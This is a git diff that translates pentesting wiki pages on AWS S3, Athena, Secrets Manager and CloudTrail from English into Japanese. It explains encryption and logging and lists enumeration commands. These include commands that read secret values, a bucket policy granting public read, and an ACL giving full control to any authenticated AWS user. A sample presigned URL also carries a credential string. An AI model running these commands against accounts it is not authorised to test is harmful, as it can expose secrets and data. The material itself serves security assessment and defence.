disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +S3アクセスログを**有効にする**（デフォルトでは無効）ことができ、特定のバケットに対してログを別のバケットに保存して、誰がバケットにアクセスしているかを知ることができます（両方のバケットは同じリージョンに存在する必要があります）。 -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### S3プレサインドURL +バケット内の**指定されたファイルにアクセスするために通常使用できるプレサインドURLを生成する**ことができます。**プレサインドURLはこのようになります**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +A presigned URL can be **作成できます cli を使用して、オブジェクトへのアクセス権を持つプリンシパルの資格情報から**（使用しているアカウントにアクセス権がない場合、短い presigned URL が作成されますが、それは無意味です） ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> 事前署名付きURLを生成するために必要な権限は、与えられる権限だけです。したがって、前のコマンドでは、主体が必要とする唯一の権限は `s3:GetObject` です。 +**他の権限**を使用して事前署名付きURLを作成することも可能です： ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` +### S3暗号化メカニズム -### S3 Encryption Mechanisms - -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEKはデータ暗号化キーを意味し**、データを暗号化するために常に生成され使用されるキーです。
-Server-side encryption with S3 managed keys, SSE-S3 +S3管理キーによるサーバーサイド暗号化、SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +このオプションは最小限の設定を必要とし、使用される暗号化キーの管理はすべてAWSによって管理されます。あなたがする必要があるのは、**データをアップロードすることで、S3が他のすべての側面を処理します**。S3アカウント内の各バケットにはバケットキーが割り当てられます。 -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- 暗号化: +- オブジェクトデータ + 作成された平文DEK --> 暗号化データ（S3内に保存） +- 作成された平文DEK + S3マスターキー --> 暗号化DEK（S3内に保存）および平文はメモリから削除される +- 復号化: +- 暗号化DEK + S3マスターキー --> 平文DEK +- 平文DEK + 暗号化データ --> オブジェクトデータ -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +この場合、**キーはAWSによって管理されている**ことに注意してください（ローテーションは3年ごと）。独自のキーを使用する場合は、ローテーション、無効化、およびアクセス制御を適用できます。
-Server-side encryption with KMS managed keys, SSE-KMS +KMS管理キーによるサーバーサイド暗号化、SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +この方法では、S3がキー管理サービスを使用してデータ暗号化キーを生成します。KMSは、キーの管理方法に対してはるかに大きな柔軟性を提供します。たとえば、CMKを無効化、ローテーション、およびアクセス制御を適用し、AWS Cloud Trailを使用してその使用に対して順序を付けることができます。 -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- 暗号化: +- S3がKMS CMKからデータキーを要求 +- KMSはCMKを使用して平文DEKと暗号化DEKのペアを生成し、それをS3に送信 +- S3は平文キーを使用してデータを暗号化し、暗号化データと暗号化キーを保存し、平文キーをメモリから削除 +- 復号化: +- S3がKMSにオブジェクトの暗号化データキーを復号化するように要求 +- KMSはCMKでデータキーを復号化し、それをS3に返送 +- S3はオブジェクトデータを復号化
-Server-side encryption with customer provided keys, SSE-C +顧客提供キーによるサーバーサイド暗号化、SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +このオプションでは、AWSの外部で既に使用している可能性のある独自のマスターキーを提供する機会が与えられます。顧客提供キーは、データと共にS3に送信され、S3が暗号化を実行します。 -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- 暗号化: +- ユーザーがオブジェクトデータ + 顧客キーをS3に送信 +- 顧客キーはデータを暗号化するために使用され、暗号化データが保存される +- 顧客キーのソルト付きHMAC値も将来のキー検証のために保存される +- 顧客キーはメモリから削除される +- 復号化: +- ユーザーが顧客キーを送信 +- キーは保存されたHMAC値に対して検証される +- 顧客提供キーがデータを復号化するために使用される
-Client-side encryption with KMS, CSE-KMS +KMSによるクライアントサイド暗号化、CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +SSE-KMSと同様に、これもキー管理サービスを使用してデータ暗号化キーを生成します。ただし、今回はS3ではなくクライアントを介してKMSが呼び出されます。暗号化はクライアントサイドで行われ、暗号化データはS3に送信されて保存されます。 -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- 暗号化: +- クライアントがKMSにデータキーを要求 +- KMSは平文DEKとCMKで暗号化されたDEKを返す +- 両方のキーが返送される +- クライアントは平文DEKを使用してデータを暗号化し、暗号化データ + 暗号化DEK（S3内の暗号化データのメタデータとして保存）をS3に送信 +- 復号化: +- 暗号化データと暗号化DEKがクライアントに送信される +- クライアントはCMKを使用して暗号化キーを復号化するようにKMSに要求し、KMSは平文DEKを返す +- クライアントは暗号化データを復号化できる
-Client-side encryption with customer provided keys, CSE-C +顧客提供キーによるクライアントサイド暗号化、CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +このメカニズムを使用すると、独自に提供されたキーを利用し、AWS-SDKクライアントを使用してデータを暗号化してからS3に送信して保存できます。 -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- 暗号化: +- クライアントがDEKを生成し、平文データを暗号化 +- 次に、独自のカスタムCMKを使用してDEKを暗号化 +- 暗号化データ + 暗号化DEKをS3に送信し、保存される +- 復号化: +- S3が暗号化データとDEKを送信 +- クライアントはDEKを暗号化するために使用されたCMKを既に持っているため、DEKを復号化し、平文DEKを使用してデータを復号化
-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **列挙** +AWS組織を侵害する伝統的な主な方法の1つは、公開アクセス可能なバケットを侵害することから始まります。**あなたは** [**このページで公開バケット列挙ツールを見つけることができます**](../aws-unauthenticated-enum-access/#s3-buckets)**。** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,35 +211,34 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +S3バケットには、仮想ホストスタイルまたはパススタイルのエンドポイント名を使用して、デュアルスタックエンドポイントを介してアクセスできます。これにより、IPv6を介してS3にアクセスすることができます。 -Dual-stack endpoints use the following syntax: +デュアルスタックエンドポイントは、以下の構文を使用します： - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +次のページでは、**S3の権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -274,22 +266,21 @@ In the following page you can check how to **abuse S3 permissions to escalate pr ### S3 HTTP Cache Poisoning Issue -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**この研究によると**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue)、任意のバケットの応答を異なるバケットのようにキャッシュすることが可能でした。これを悪用して、例えばJavaScriptファイルの応答を変更し、S3を使用して静的コードを保存している任意のページを危険にさらすことができました。 ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athenaは、標準の**SQL**を使用してAmazon Simple Storage Service（Amazon **S3**）内のデータを直接**分析する**ためのインタラクティブなクエリサービスです。 -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +監視対象のS3バケットに表示されるコンテンツの形式で**リレーショナルDBテーブルを準備する**必要があります。その後、Amazon AthenaはログからDBをポピュレートできるため、クエリを実行できます。 -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athenaは、**すでに暗号化されたS3データをクエリする能力をサポートしており**、設定されている場合、**Athenaはクエリの結果を暗号化し、それをS3に保存することもできます**。 -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**この結果の暗号化は、基盤となるクエリされたS3データとは独立しています**。つまり、S3データが暗号化されていなくても、クエリされた結果は暗号化できます。注意すべき点は、Amazon Athenaは**以下のS3暗号化方式**、**SSE-S3、SSE-KMS、およびCSE-KMS**で**暗号化されたデータ**のみをサポートすることです。 -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. +SSE-CおよびCSE-Eはサポートされていません。さらに、Amazon Athenaは**クエリ自体と同じリージョンにある暗号化されたオブジェクトに対してのみクエリを実行する**ことを理解することが重要です。KMSを使用して暗号化されたS3データをクエリする必要がある場合、Athenaユーザーがクエリを実行できるようにするために特定の権限が必要です。 ### Enumeration - ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## 参考文献 - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..06d11cb3c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Managerは、**アプリケーション内のハードコーディングされた秘密の使用を排除するためにAPI呼び出しに置き換えるように設計されています**。このサービスは、**すべての秘密のための中央リポジトリとして機能し**、すべてのアプリケーションで均一に管理されることを保証します。 -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +マネージャーは、**秘密のローテーションプロセスを簡素化し**、データベースの資格情報などの機密データのセキュリティ姿勢を大幅に向上させます。さらに、APIキーなどの秘密は、ラムダ関数の統合により自動的にローテーションできます。 -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +秘密へのアクセスは、詳細なIAMアイデンティティベースのポリシーとリソースベースのポリシーを通じて厳密に制御されています。 -For granting access to secrets to a user from a different AWS account, it's necessary to: +異なるAWSアカウントのユーザーに秘密へのアクセスを付与するには、次の必要があります： -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. ユーザーに秘密へのアクセスを許可します。 +2. KMSを使用して秘密を復号化するための権限をユーザーに付与します。 +3. 外部ユーザーが利用できるようにキーのポリシーを変更します。 -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Managerは、AWS KMSと統合してAWS Secrets Manager内で秘密を暗号化します。** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,27 +27,22 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - -### Privesc +### プリベスカレーション {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイテーション {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..fe4e94f46 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - セキュリティと検出サービス diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..4126b89ba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーおよびリソースの動作を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。 -Each logged event contains: +各ログされたイベントには以下が含まれます： -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- 呼び出されたAPIの名前: `eventName` +- 呼び出されたサービス: `eventSource` +- 時間: `eventTime` +- IPアドレス: `SourceIPAddress` +- エージェントメソッド: `userAgent`。例： +- Signing.amazonaws.com - AWS Management Consoleから +- console.amazonaws.com - アカウントのルートユーザー +- lambda.amazonaws.com - AWS Lambda +- リクエストパラメータ: `requestParameters` +- レスポンス要素: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +イベントは**約5分ごとにJSONファイルに新しいログファイルとして書き込まれ**、CloudTrailによって保持され、最終的にログファイルは**約15分後にS3に配信されます**。\ +CloudTrailのログは**アカウント間およびリージョン間で集約できます。**\ +CloudTrailは、**ログファイルの整合性を使用して、CloudTrailがあなたに配信して以来、ログファイルが変更されていないことを確認できるようにします**。それは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\ +トレイルを作成する際、イベントセレクターを使用して、ログするトレイルを示すことができます：管理、データ、またはインサイトイベント。 -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +ログはS3バケットに保存されます。デフォルトではサーバーサイド暗号化（SSE-S3）が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのためにSSEをKMSおよび独自のキーと共に使用することができます。 -The logs are stored in a **S3 bucket with this name format**: +ログは**この名前形式のS3バケットに保存されます**： - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- バケット名は：**`aws-cloudtrail-logs--`** +- 例：**`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +各フォルダ内の各ログは**この形式に従った名前を持ちます**：**`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +ログファイル命名規則 ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +さらに、**ファイル整合性を確認するためのダイジェストファイル**は、**同じバケット内に**あります： ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### 複数アカウントからのログの集約 -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- ログファイルを配信するAWSアカウントでトレイルを作成します +- CloudTrailのためにクロスアカウントアクセスを許可するように、宛先S3バケットに権限を適用し、アクセスが必要な各AWSアカウントを許可します +- 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +ただし、すべてのログを同じS3バケットに保存できるとしても、複数のアカウントからのCloudTrailログを単一のAWSアカウントに属するCloudWatch Logsに集約することはできません。 > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> アカウントには、**異なるトレイル**がCloudTrail **で有効**になっており、異なるバケットに同じ（または異なる）ログを保存できることを忘れないでください。 -### Cloudtrail from all org accounts into 1 +### すべての組織アカウントから1つのCloudTrailへ -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +CloudTrailを作成する際、組織内のすべてのアカウントに対してCloudTrailを有効にし、ログを1つのバケットに取得するように指示することが可能です：
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +このようにして、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができます（そのアカウントは保護する必要があります）。 -### Log Files Checking - -You can check that the logs haven't been altered by running +### ログファイルの確認 +ログが変更されていないことを確認するには、次のコマンドを実行します。 ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrailは自動的にログをCloudWatchに送信できるため、疑わしい活動が行われたときに警告するアラートを設定できます。**\ +CloudTrailがCloudWatchにログを送信できるようにするには、そのアクションを許可する**ロール**を作成する必要があります。可能であれば、これらのアクションを実行するためにAWSのデフォルトロールを使用することをお勧めします。このロールはCloudTrailに以下を許可します： -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: CloudWatch Logsのログストリームを作成することを許可します +- PutLogEvents: CloudTrailログをCloudWatch Logsのログストリームに配信します ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +CloudTrail Event Historyでは、記録されたログをテーブルで検査できます： ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights**は自動的に**管理イベントの書き込みを分析**し、**異常な活動**を**警告**します。たとえば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**。 -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +インサイトはCloudTrailログと同じバケットに保存されます：`BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)

  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| CloudTrail Log File Integrity |
  • ログが改ざんされていないか（変更または削除）を検証

  • ダイジェストファイルを使用（各ファイルのハッシュを作成）

    • SHA-256ハッシュ
    • デジタル署名のためのSHA-256とRSA
    • Amazonが所有する秘密鍵
  • ダイジェストファイルの作成に1時間かかる（毎時行われる）
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |

  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Stop unauthorized access |

  • IAMポリシーとS3バケットポリシーを使用

    • セキュリティチーム —> 管理者アクセス
    • 監査人 —> 読み取り専用アクセス
  • SSE-S3/SSE-KMSを使用してログを暗号化
| +| Prevent log files from being deleted |
  • IAMおよびバケットポリシーで削除アクセスを制限
  • S3 MFA削除を構成
  • ログファイル検証で検証
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisorは、過去400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して、**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。 > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> したがって、Access Advisorは**ユーザーに与えられている不必要な権限について通知し**、管理者がそれらを削除できるようにします
